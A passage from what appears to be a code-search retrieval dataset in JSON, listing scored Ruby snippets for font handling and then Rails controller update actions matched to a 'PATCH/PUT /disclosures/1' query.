"text": "def render_font_family\n case self.font_family\n when \"Lucida Grande\"\n \"'Lucida Grande', Arial, sans-serif\"\n when \"Arial\"\n \"Arial, sans-serif\"\n when \"Helvetica\"\n \"Helvetica, Arial, sans-serif\"\n when \"Times New Roman\"\n \"Times, 'Times New Roman', serif\"\n when \"Courier\"\n \"'Courier New', Courier, monospace\"\n when \"Georgia\"\n \"Georgia, 'Times New Roman', serif\"\n when \"Verdana\"\n \"Verdana, 'Verdana Ref', sans-serif\"\n when \"Trebuchet MS\"\n \"'Trebuchet MS', Verdana, 'Verdana Ref', sans-serif\"\n end\n \n end",
"title": ""
},
{
"docid": "74fb7f526c053d132ce46567c7dd99f6",
"score": "0.57739",
"text": "def font=(refid)\n send_command( 0x31, refid )\n end",
"title": ""
},
{
"docid": "77e7acc953cf2d8af22840f465b84681",
"score": "0.57693326",
"text": "def list_fonts_with_info (*args)\n list_fonts_with_info!(*args).wait\n end",
"title": ""
},
{
"docid": "9a98a00f8255398329c4ea3e2002ba7d",
"score": "0.57564944",
"text": "def font_switch(change_type, arg)\n case change_type\n when Worksheet::NAME then change_font_name(arg)\n when Worksheet::SIZE then change_font_size(arg)\n when Worksheet::COLOR then change_font_color(arg)\n when Worksheet::ITALICS then change_font_italics(arg)\n when Worksheet::BOLD then change_font_bold(arg)\n when Worksheet::UNDERLINE then change_font_underline(arg)\n when Worksheet::STRIKETHROUGH then change_font_strikethrough(arg)\n else raise 'Invalid change_type'\n end\n end",
"title": ""
},
{
"docid": "42e2495655b94ec5d231c5f8bf796467",
"score": "0.5748669",
"text": "def default_font=(font)\n @fonts << font\n @default_font = @fonts.index(font)\n end",
"title": ""
},
{
"docid": "ed82703ce8c2179d27b99eabb80b9105",
"score": "0.5739446",
"text": "def initialize_and_apply_font\n\t\t\tbegin\n\t\t\t\n\t\t\t\t# Create new Font Database, if not already created\n\t\t\t\t@@font_db ||= Qt::FontDatabase.new\n\n\t\t\t\t# Retrieve font files\n prefix = @@settings[:typeface].downcase\n font_related_instance_variable_names.each do |instance_var_s|\n\n # Store symbol version for easy access\n instance_var_sym = instance_var_s.to_sym\n\n # Scrub the string, prepare filename e.g. @font_bold_italic => BoldItalic\n instance_var_s_clean = instance_var_s.sub(\"@font_\", \"\")\n instance_var_s_filename = instance_var_s_clean.camelize.sub(\"_\", \"\")\n\n # Set final resource path for the font, complete with filename and extension\n filename = \"#{@@settings[:typeface]}-#{instance_var_s_filename}.ttf\"\n file_path = \"#{@@settings[:font_path]}/#{filename}\"\n\n # Check if the font file actually exists, skip if not found\n font_exists = File.exists?(file_path)\n next unless font_exists\n\n resource_with_filename =\n \":/#{prefix}/#{filename}\"\n\n # Retrieve the actual font via the Qt Font Database\n retrieved_font = retrieve_font({\n :path => resource_with_filename,\n :style => instance_var_s_clean.to_sym\n })\n\n # Set the instance variable to the proper value, apply font properties\n instance_variable_set(instance_var_sym, retrieved_font)\n apply_font_properties(retrieved_font)\n\n # Log outcome\n log.debug \"#{instance_var_s} is:\"\n log.info lpp instance_variable_get(instance_var_sym)\n end\n\n\t\t\t\t# Log font creation, shouldn't be more than once\n log.info \"Custom Fonts loaded/initialized by #{@parent.class}\"\n\t\t\t\t\n\t\t\t\t# Assign newly read font, regular by default. Other styles should be derived\n\t\t\t\tself.setFont(@font_regular)\n\n # Rescue any exception\n\t\t\trescue Exception => e\n\t\t\t\tlog.error e\n\t\t\tend\t\t\n\t\tend",
"title": ""
},
{
"docid": "97039c1239a4fb617af76b8e0e516f3f",
"score": "0.57348686",
"text": "def pbSmallFontName()\n return MessageConfig.pbTryFonts(\"Power Green Small\",\"Pokemon Emerald Small\",\n \"Arial Narrow\",\"Arial\")\nend",
"title": ""
},
{
"docid": "511606b9fb5b9e80eb906e093e5be720",
"score": "0.5725687",
"text": "def each\r\n @fonts.each {|font| yield font} if block_given?\r\n end",
"title": ""
},
{
"docid": "b7aad7bccf36c43487cbce544d2c9af7",
"score": "0.571389",
"text": "def font name = nil, options = {}\n if name\n options = { size: options } if ::Numeric === options\n if IconSets.include? name\n icon_font_data name\n options = options.reject {|k| k == :style } if options.key? :style\n end\n end\n super\n end",
"title": ""
},
{
"docid": "f633d999c49419db5f824fa09254b2a6",
"score": "0.56973696",
"text": "def font name\n Attribute.new \"fontname = %p\" % [name]\n end",
"title": ""
},
{
"docid": "e571b1f478f557d2d1a448c59792b98d",
"score": "0.5684085",
"text": "def get_font # :nodoc:\n\n # my $record; # Record identifier\n # my $length; # Record length\n\n # my $dyHeight; # Height of font (1/20 of a point)\n # my $grbit; # Font attributes\n # my $icv; # Index to color palette\n # my $bls; # Bold style\n # my $sss; # Superscript/subscript\n # my $uls; # Underline\n # my $bFamily; # Font family\n # my $bCharSet; # Character set\n # my $reserved; # Reserved\n # my $cch; # Length of font name\n # my $rgch; # Font name\n # my $encoding; # Font name character encoding\n\n\n dyHeight = @size * 20\n icv = @color\n bls = @bold\n sss = @font_script\n uls = @underline\n bFamily = @font_family\n bCharSet = @font_charset\n rgch = @font\n encoding = @font_encoding\n\n ruby_19 { rgch = convert_to_ascii_if_ascii(rgch) }\n\n # Handle utf8 strings\n if is_utf8?(rgch)\n rgch = utf8_to_16be(rgch)\n encoding = 1\n end\n\n cch = rgch.bytesize\n #\n # Handle Unicode font names.\n if (encoding == 1)\n raise \"Uneven number of bytes in Unicode font name\" if cch % 2 != 0\n cch /= 2 if encoding !=0\n rgch = utf16be_to_16le(rgch)\n end\n\n record = 0x31\n length = 0x10 + rgch.bytesize\n reserved = 0x00\n\n grbit = 0x00\n grbit |= 0x02 if @italic != 0\n grbit |= 0x08 if @font_strikeout != 0\n grbit |= 0x10 if @font_outline != 0\n grbit |= 0x20 if @font_shadow != 0\n\n\n header = [record, length].pack(\"vv\")\n data = [dyHeight, grbit, icv, bls,\n sss, uls, bFamily,\n bCharSet, reserved, cch, encoding].pack('vvvvvCCCCCC')\n\n header + data + rgch\n end",
"title": ""
},
{
"docid": "48622525ac0dc5e3fbde33dd98f7f819",
"score": "0.5674316",
"text": "def convert_font(source_font, target_font)\n convert_script = File.expand_path(\"../../../fontforge/convert.pe\", __FILE__)\n sh \"fontforge\", \"-script\", convert_script, source_font, target_font\n end",
"title": ""
},
{
"docid": "1b3168d70446f131205b5c15a39a1d85",
"score": "0.56593055",
"text": "def set_font(font = :Helvetica)\n # if the font exists, return it's name\n resources[:Font] ||= {}\n fonts_res = resources[:Font][:referenced_object] || resources[:Font]\n fonts_res.each do |k, v|\n return k if v.is_a?(Fonts::Font) && v.name && v.name == font\n end\n # set a secure name for the font\n name = (base_font_name + (fonts_res.length + 1).to_s).to_sym\n # get font object\n font_object = Fonts.get_font(font)\n # return false if the font wan't found in the library.\n return false unless font_object\n # add object to reasource\n fonts_res[name] = font_object\n # return name\n name\n end",
"title": ""
},
{
"docid": "fd548385e5ce19fd0a63bc638567514e",
"score": "0.5656502",
"text": "def font_family= value\r\n value = value.to_s\r\n @attributes['font-family'] = value\r\n value.to_number\r\n end",
"title": ""
},
{
"docid": "a929a0aa7cbd067881db11c43072371e",
"score": "0.5655276",
"text": "def font name = nil, options = {}\n if name\n ::Prawn::Icon::FontData.load self, name if IconSets.include? name\n options = { size: options } if ::Numeric === options\n end\n super name, options\n end",
"title": ""
},
{
"docid": "4774b8933a5f7c700f8e327d2f5a210e",
"score": "0.56455284",
"text": "def change_font_setting(f_param, w_param)\n default_param = (f_param.to_s + '=').to_sym\n value = selected_windowskin.send(w_param)\n if value.is_a?(Color) or value != nil\n Font.send(default_param, selected_windowskin.send(w_param))\n else\n Font.send(default_param, Font_BK.send(f_param))\n end\n end",
"title": ""
},
{
"docid": "348ce262c89e800f5c159952c5284542",
"score": "0.5637354",
"text": "def default_font=(font)\n @fonts << font\n @default_font = @fonts.index(font)\n end",
"title": ""
},
{
"docid": "3f2c6face2eedd68177a5ab9173a0f15",
"score": "0.5637275",
"text": "def configure(pdf, font)\n # Accented characters will bring up a\n # warning that we don't care about\n Prawn::Font::AFM.hide_m17n_warning = true\n font_name = font[:name]\n unless Prawn::Font::AFM::BUILT_INS.include?(font_name)\n update_font_families(pdf, font)\n end\n pdf.font font_name\n end",
"title": ""
},
{
"docid": "8cbe7e53dc8b1d60721d298b841dcb05",
"score": "0.5635978",
"text": "def font(*families, type: :hash, fallback: true)\n\t\t\t\tfonts=dig(:xorg, :fonts, default: {})\n\t\t\t\tfont=nil\n\t\t\t\tfamilies.each do |family|\n\t\t\t\t\tcase family\n\t\t\t\t\twhen Hash\n\t\t\t\t\t\tfont=family\n\t\t\t\t\t\tbreak\n\t\t\t\t\twhen String\n\t\t\t\t\t\treturn family\n\t\t\t\t\telse\n\t\t\t\t\t\tfont=fonts[family]||next\n\t\t\t\t\t\tfont[:name]||=family\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif font.nil?\n\t\t\t\t\tif fallback\n\t\t\t\t\t\treturn nil if families==[:default]\n\t\t\t\t\t\tfont={}\n\t\t\t\t\telse\n\t\t\t\t\t\treturn nil\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tdefault=font[:default] || :default\n\t\t\t\tparams= (font[:name] != default) ? self.font(default, type: :hash, fallback: true) || {} : {}\n\t\t\t\tparams=params.merge(font||{})\n\t\t\t\treturn nil if params.empty?\n\t\t\t\tcase type\n\t\t\t\twhen :fontconfig, :xft\n\t\t\t\t\t%i(default name line_height).each do |i|\n\t\t\t\t\t\tparams.delete(i)\n\t\t\t\t\tend\n\t\t\t\t\tr=\"#{params.delete(:family)}\"\n\t\t\t\t\tparams.each { |k,v| r+=\":#{k}=#{v}\" }\n\t\t\t\t\tr\n\t\t\t\twhen :gtk\n\t\t\t\t\t[params[:family], params[:style], params[:size]].compact.join(' ')\n\t\t\t\telse\n\t\t\t\t\tparams\n\t\t\t\tend\n\t\t\tend",
"title": ""
}
] |
1b38076990f6f550c190756a435d2a18
|
PATCH/PUT /disclosures/1 PATCH/PUT /disclosures/1.json
|
[
{
"docid": "f6f14ec9bf7d363be5c71d98b165ae49",
"score": "0.6939754",
"text": "def update\n respond_to do |format|\n if @disclosure.update(disclosure_params)\n format.html { redirect_to @disclosure, notice: 'Disclosure was successfully updated.' }\n format.json { render :show, status: :ok, location: @disclosure }\n else\n format.html { render :edit }\n format.json { render json: @disclosure.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "cfcf087e11e17dcb2256896c3b8bd49a",
"score": "0.716024",
"text": "def update\n @disclosure = Disclosure.find(params[:id])\n\n respond_to do |format|\n if @disclosure.update_attributes(disclosure_params)\n format.html { redirect_to disclosures_path, notice: 'Disclosure was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @disclosure.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "17e05f428d59c786a0c7d41ecc96b70c",
"score": "0.6306946",
"text": "def update\n @disclosure = Disclosure.find(params[:id])\n\n respond_to do |format|\n if @disclosure.update_attributes(params[:disclosure])\n flash[:notice] = \"公開設定 '#{@disclosure.name}' が更新されました。\"\n format.html { redirect_to(@disclosure) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @disclosure.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "827a6178dba0d76745d5f589e5938641",
"score": "0.63057476",
"text": "def update\n budget = Budget.find(params[:id])\n\n if budget.update_attributes(params.slice(:budget_name, :amount, :recur,\n :start_date, :recurrence_duration,\n :other_duration))\n render :json => budget\n else\n render :json => entry.errors, :status => :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "eeec2bc75aa458bb54bc3b211a597b13",
"score": "0.6215114",
"text": "def update\n @enclosure = Enclosure.find(params[:id])\n\n respond_to do |format|\n if @enclosure.update_attributes(params[:enclosure])\n format.html { redirect_to @enclosure, notice: t('flash.notice')}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @enclosure.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5c2e57549bbea26c696471ed6bdc9f7c",
"score": "0.61853766",
"text": "def update\n @ccdisclosure = Ccdisclosure.find(params[:id])\n\n respond_to do |format|\n if @ccdisclosure.update_attributes(params[:ccdisclosure])\n flash[:notice] = 'Ccdisclosure was successfully updated.'\n format.html { redirect_to(@ccdisclosure) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ccdisclosure.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "491419856bda2b858e8b979ab9a484a3",
"score": "0.6163424",
"text": "def update\n respond_to do |format|\n if @closure.update(closure_params)\n format.html { redirect_to @closure, notice: 'Closure was successfully updated.' }\n format.json { render :show, status: :ok, location: @closure }\n else\n format.html { render :edit }\n format.json { render json: @closure.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a06a465978ccf8412d74042493e11a8b",
"score": "0.61077976",
"text": "def update\n @addendum = Addendum.find(params[:id])\n\n respond_to do |format|\n if @addendum.update_attributes(params[:addendum])\n format.html { redirect_to @addendum, notice: 'Addendum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @addendum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4d74e30e51db1825f9e80fc3ab39cab6",
"score": "0.6083974",
"text": "def update\n @disc = Disc.find(params[:id])\n\n respond_to do |format|\n if @disc.update_attributes(params[:disc])\n format.html { redirect_to @disc, notice: 'Disc was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @disc.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4d74e30e51db1825f9e80fc3ab39cab6",
"score": "0.6083974",
"text": "def update\n @disc = Disc.find(params[:id])\n\n respond_to do |format|\n if @disc.update_attributes(params[:disc])\n format.html { redirect_to @disc, notice: 'Disc was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @disc.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cf349d235658fb07601f42aae5c6fb76",
"score": "0.60257405",
"text": "def update\n entry = Entry.find(params[:id])\n\n if entry.update_attributes(params.slice(:amount, :notes, :expenditure_date, :budget_id))\n render :json => entry\n else\n render :json => entry.errors, :status => :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "2572fb900123dab962d92dfd5cd31505",
"score": "0.5994517",
"text": "def update\n spice = Spice.find_by(id: params[:id])\n spice.update(spice_params)\n render json: spice\nend",
"title": ""
},
{
"docid": "8c89db5706e1f9c19d59c73d22c89225",
"score": "0.59908813",
"text": "def update\n @disc = Disc.find(params[:id])\n\n respond_to do |format|\n if @disc.update_attributes(params[:disc])\n #format.html { redirect_to @disc, notice: 'Disc was successfully updated.' }\n format.html { redirect_to :action => \"index\"}\n format.json { head :no_content }\n else\n format.html { render action: \"index\" }\n format.json { render json: @disc.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25ea692b7f280ab4c8100d42676ef854",
"score": "0.5959863",
"text": "def update\n @food_promise = FoodPromise.find(params[:id])\n\n respond_to do |format|\n if @food_promise.update_attributes(params[:food_promise])\n format.html { redirect_to @food_promise, notice: 'Food item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food_promise.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d5eaea298e64625a71a15a970f3b75ed",
"score": "0.5953091",
"text": "def patch *args\n make_request :patch, *args\n end",
"title": ""
},
{
"docid": "1121b8fe100de7b7e220b09a42a9377b",
"score": "0.5883252",
"text": "def update\n @recipe = Recipe.find(params[:id])\n @recipe.update(recipe_params)\n render json: @recipe\n end",
"title": ""
},
{
"docid": "23b86663721b6a58a8582d3d4103ad64",
"score": "0.5879758",
"text": "def update\n @enclosure = Enclosure.find(params[:id])\n\n respond_to do |format|\n if @enclosure.update_attributes(params[:enclosure])\n format.html { redirect_to(@enclosure, :notice => 'Enclosure was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @enclosure.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5631031d03bd093cd7a753d01f2e51e5",
"score": "0.58551174",
"text": "def update\n @curpg = :discharges\n @discharge = Discharge.find(params[:id])\n\n respond_to do |format|\n if @discharge.update_attributes(params[:discharge])\n format.html { redirect_to :controller => \"discharges\", :action => \"index\"}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @discharge.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ba2ed9489ca76951805d198d89e6c566",
"score": "0.5850988",
"text": "def update\n recipe= Recipe.find(params[:id])\n respond_with recipe.update(rate:params[:rate])\n end",
"title": ""
},
{
"docid": "a8a66dde3301d74e1b25526eff8a3411",
"score": "0.5800516",
"text": "def update\n @discount = Discount.find(params[:id])\n\n if @discount.update(params[:discount])\n head :no_content\n else\n render json: @discount.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "aa09586a22b3c7a590a13fe68c386f76",
"score": "0.5800443",
"text": "def update\n respond_to do |format|\n if @animal_enclosure.update(animal_enclosure_params)\n format.html { redirect_to @animal_enclosure, notice: 'Animal enclosure was successfully updated.' }\n format.json { render :show, status: :ok, location: @animal_enclosure }\n else\n format.html { render :edit }\n format.json { render json: @animal_enclosure.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1ac30aa158317cff2cacd3ae914eaa45",
"score": "0.5796667",
"text": "def update\n respond_to do |format|\n if @disc.update(disc_params)\n format.html { redirect_to @disc, notice: 'Disc was successfully updated.' }\n format.json { render :show, status: :ok, location: @disc }\n else\n format.html { render :edit }\n format.json { render json: @disc.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9a78bebe2151637e5ef2e4cdbc4308bf",
"score": "0.57780516",
"text": "def update\n @disposable = Disposable.find(params[:id])\n\n respond_to do |format|\n if @disposable.update_attributes(params[:disposable])\n format.html { redirect_to @disposable, notice: 'Disposable was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @disposable.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "42e4d81ce0f91ce996dcbc347df2958d",
"score": "0.5777125",
"text": "def update\n @response = self.class.put(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\", :body => \"{'resource_form_name':#{JSON.generate(@opts)}}\")\n end",
"title": ""
},
{
"docid": "7f7c16b9e14f1352bb07fd27f83679a7",
"score": "0.573893",
"text": "def patch(path, params: {}, headers: {})\n request_json :patch, path, params, headers\n end",
"title": ""
},
{
"docid": "548ba1babbcdb78511c04a317bf5c979",
"score": "0.5738492",
"text": "def update\n json_update(factType,factType_params, FactType)\n end",
"title": ""
},
{
"docid": "f4dd1163bc21b6494fb6cf5cdee8acd1",
"score": "0.572448",
"text": "def update\n @discount = Discount.find(params[:id])\n if params[:kind] != \"extra\" && params[:kind] != \"set\" && \n params[:kind] != nil\n raise \"Invalid argument\"\n end\n @discount.kind = params[:kind] if params[:kind] != nil\n @discount.name = params[:name] if params[:name] != nil\n if params[:product_ids] != nil\n @discount.product_ids = params[:product_ids][1..-2].split(',').map(&:to_i)\n end\n if @discount.kind == \"set\"\n @discount.price = params[:price] if params[:price] != nil\n @discount.count = nil\n elsif @discount.kind == \"extra\"\n @discount.price = nil \n @discount.count = params[:count] if params[:count] != nil\n end\n @discount.save\n\n render_items_and_discounts\n end",
"title": ""
},
{
"docid": "b915317bafa3e1970b52fa0da732e07c",
"score": "0.5705307",
"text": "def update\n @recip = Recip.find(params[:id])\n\n if @recip.update(recip_params)\n head :no_content\n else\n render json: @recip.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "e82a8014c1ca92ff28f930ae98971905",
"score": "0.5696818",
"text": "def update\n resource.update(deposit_contract_params)\n respond_with client, resource\n end",
"title": ""
},
{
"docid": "9543b3f57208586c36c9e2df301e9d26",
"score": "0.56873244",
"text": "def update\n respond_to do |format|\n if @interior_closure.update(interior_closure_params)\n format.html { redirect_to @interior_closure, notice: 'Interior closure was successfully updated.' }\n format.json { render :show, status: :ok, location: @interior_closure }\n else\n format.html { render :edit }\n format.json { render json: @interior_closure.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d4fa535a2c3808e001e913f380c71965",
"score": "0.56845576",
"text": "def update\n @foundry = Foundry.find(params[:id])\n\n respond_to do |format|\n if @foundry.update_attributes(params[:foundry])\n format.html { redirect_to @foundry, notice: 'Foundry was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @foundry.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "910cd7b93e35b641dedac2aeb9f2b1c9",
"score": "0.5667583",
"text": "def update\n @circle = @owner.circles.find(params[:id])\n\n respond_to do |format|\n if @circle.update_attributes(params[:circle])\n format.html { redirect_to @circle, notice: 'Circle was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @circle.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "697b8d638ade624ba5944e6b0945cdeb",
"score": "0.5666565",
"text": "def update\n respond_to do |format|\n if @circular.update(circular_params)\n format.html { redirect_to @circular, notice: 'Circular was successfully updated.' }\n format.json { render :show, status: :ok, location: @circular }\n else\n format.html { render :edit }\n format.json { render json: @circular.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c4bbc84a5eee263e14a89149dbc2b9d7",
"score": "0.5655578",
"text": "def update\n @cocktail_ingredient = CocktailIngredient.find(params[:id])\n\n respond_to do |format|\n if @cocktail_ingredient.update_attributes(params[:cocktail_ingredient])\n format.html { redirect_to @cocktail_ingredient, notice: 'Cocktail ingredient was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cocktail_ingredient.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d8b6726b9cd135ae334fd8733bb9b63",
"score": "0.5644468",
"text": "def update\n respond_to do |format|\n if @discipline_detail.update(discipline_detail_params)\n format.html { redirect_to @discipline_detail, notice: 'Discipline detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @discipline_detail }\n else\n format.html { render :edit }\n format.json { render json: @discipline_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "af9aedd4f428a2c26c3fd57798526020",
"score": "0.56427544",
"text": "def put(path, data = {}, header = {})\n _send(json_request(Net::HTTP::Patch, path, data, header))\n end",
"title": ""
},
{
"docid": "a174001416a3fea5ee9cb7f40f535271",
"score": "0.5642007",
"text": "def update\n respond_to do |format|\n if @fence.update(fence_params)\n format.html { redirect_to fences_url, notice: 'Fence was successfully updated.' }\n format.json { render :show, status: :ok, location: @fence }\n else\n format.html { render :edit }\n format.json { render json: @fence.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0a565cef00d6874eb6d07052cd70dfab",
"score": "0.5634975",
"text": "def update(json_resource)\n jsonapi_request(:patch, \"#{@route}/#{json_resource['id']}\", \"data\"=> json_resource)\n end",
"title": ""
},
{
"docid": "d0d3e3c058e3bf3ed201e52e7f7a123f",
"score": "0.5624129",
"text": "def update\n @discapacity = Discapacity.find(params[:id])\n\n respond_to do |format|\n if @discapacity.update_attributes(params[:discapacity])\n format.html { redirect_to @discapacity, notice: 'Discapacity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @discapacity.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8c2caf8aab75d755dca5234bf04805e6",
"score": "0.56226885",
"text": "def update\n @contract = Contract.find(params[:id])\n \n if @contract.update(contract_params)\n render json: @contract, status: :ok \n else\n render json: @contract.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "fcfff01f655ed148030f34bb391779fe",
"score": "0.56209034",
"text": "def update\n\t\t#render inline: params.inspect\n\t\t@interview = Interview.find(params[:id])\n\t\t@interview.consumed_foods = []\n\n\t\tif params[:consumed_foods]\n\t\t\tparams[:consumed_foods].each do |key, food|\n\t\t\t\t@interview.consumed_foods.build(food)\n\t\t\tend\n\t\tend\n\n\t\trespond_to do |format|\n\t\t\tif @interview.update_attributes(params[:interview])\n\t\t\t\tformat.html { redirect_to @interview, notice: 'Interview was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @interview.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "0c1a09a9d20ee815b5c9f998eda70b44",
"score": "0.56137276",
"text": "def patch(path, params = {}, options = {})\n options[:content_type] ||= :json\n options[:Authorization] = \"simple-token #{self.access_token}\"\n RestClient.patch(request_url(path), params.to_json, options)\n end",
"title": ""
},
{
"docid": "a2a2dd8f1eb7ab477a3c53d579791613",
"score": "0.56126404",
"text": "def update\n @discount = Discount.find(params[:id])\n\n respond_to do |format|\n if @discount.update_attributes(params[:discount])\n format.html { redirect_to @discount, notice: 'Discount was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @discount.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b4fbe2bb4554c75214ec612a847f458e",
"score": "0.56118894",
"text": "def update_tenant_circle(args = {}) \n id = args['id']\n temp_path = \"/tenantcircles.json/{circleId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantcircleId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"title": ""
},
{
"docid": "6946772024029bf9f94db0d34fedb2a6",
"score": "0.5604923",
"text": "def update\n @coin = Coin.find_by(:id => params[:id])\n @coin.update(coin_params)\n render json: @coin\n end",
"title": ""
},
{
"docid": "305e19c27110be9d2a906473fd648535",
"score": "0.5601925",
"text": "def update\n if @expense.update(expense_params)\n head :no_content\n else\n render json: @expense.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "2b9e366fef023286a270f40f997ab388",
"score": "0.5599808",
"text": "def update\n respond_to do |format|\n if @disco.update(disco_params)\n format.html { redirect_to @disco, notice: 'Disco was successfully updated.' }\n format.json { render :show, status: :ok, location: @disco }\n else\n format.html { render :edit }\n format.json { render json: @disco.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7b909f148897744150a27d6a95090033",
"score": "0.5594452",
"text": "def patch_update_consumption_detail_id\n id_array = JSON.parse(params[:ids])\n consumption_detail_id = params[:consumption_detail_id]\n UserAttachment.find_by_ids(id_array).update(consumption_detail_id: consumption_detail_id)\n consumption_detail_attachments = UserAttachment.find_by_ids(id_array)\n render json: { result: 'success', consumption_detail_attachments:consumption_detail_attachments }, status: 200\n end",
"title": ""
},
{
"docid": "299fc56984277d29880b729d38bc1d93",
"score": "0.55933917",
"text": "def update\n respond_to do |format|\n if @discipline.update(discipline_params)\n format.html { redirect_to @discipline, notice: 'Discipline was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @discipline.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e5254027d2cb90b112717f27b9f31415",
"score": "0.55932707",
"text": "def update\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n format.html { redirect_to '/budgets', notice: 'Expense was successfully updated.' }\n format.json { render json: @expense, status: :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26f0fe1d2c6245099c3412fe7689f8af",
"score": "0.5588133",
"text": "def update\n @circle = Circle.find(params[:id])\n\n respond_to do |format|\n if @circle.update_attributes(params[:circle])\n format.html { redirect_to @circle, :notice => 'Circle was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @circle.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0e65cdc9292802e959485d7d653a4e0a",
"score": "0.55853677",
"text": "def update\n respond_to do |format|\n if @cocktail.update(cocktail_params)\n if (params['cocktail']['ingredients'] != nil)\n for id in params['cocktail']['ingredients']\n @cocktail.ingredients << Ingredient.find(id)\n end\n end\n format.html {redirect_to @cocktail, notice: 'Cocktail was successfully updated.'}\n format.json {render :show, status: :ok, location: @cocktail}\n else\n format.html {render :edit}\n format.json {render json: @cocktail.errors, status: :unprocessable_entity}\n end\n end\n end",
"title": ""
},
{
"docid": "fe54881c68547925852f91938fc42a82",
"score": "0.55695254",
"text": "def resource_patch(scopes_uri, operation, path, value = nil)\n ensure_client && ensure_uri\n body = { 'op' => operation,\n 'path' => path,\n 'value' => value }\n options = { 'Content-Type' => 'application/json-patch+json',\n 'If-Match' => '*', 'body' => [body] }\n response = @client.rest_patch(scopes_uri, options, @api_version)\n @client.response_handler(response)\n end",
"title": ""
},
{
"docid": "ce13de0dfab70b1759321b7929cfc496",
"score": "0.5569052",
"text": "def update\n update_params = params.permit! # FIX-ME: This is highly unsafe\n\n observation = Observation.find(params[:id])\n if observation.update(update_params)\n render json: observation, status: :created\n else\n render json: observation.errors, status: :bad_request\n end\n end",
"title": ""
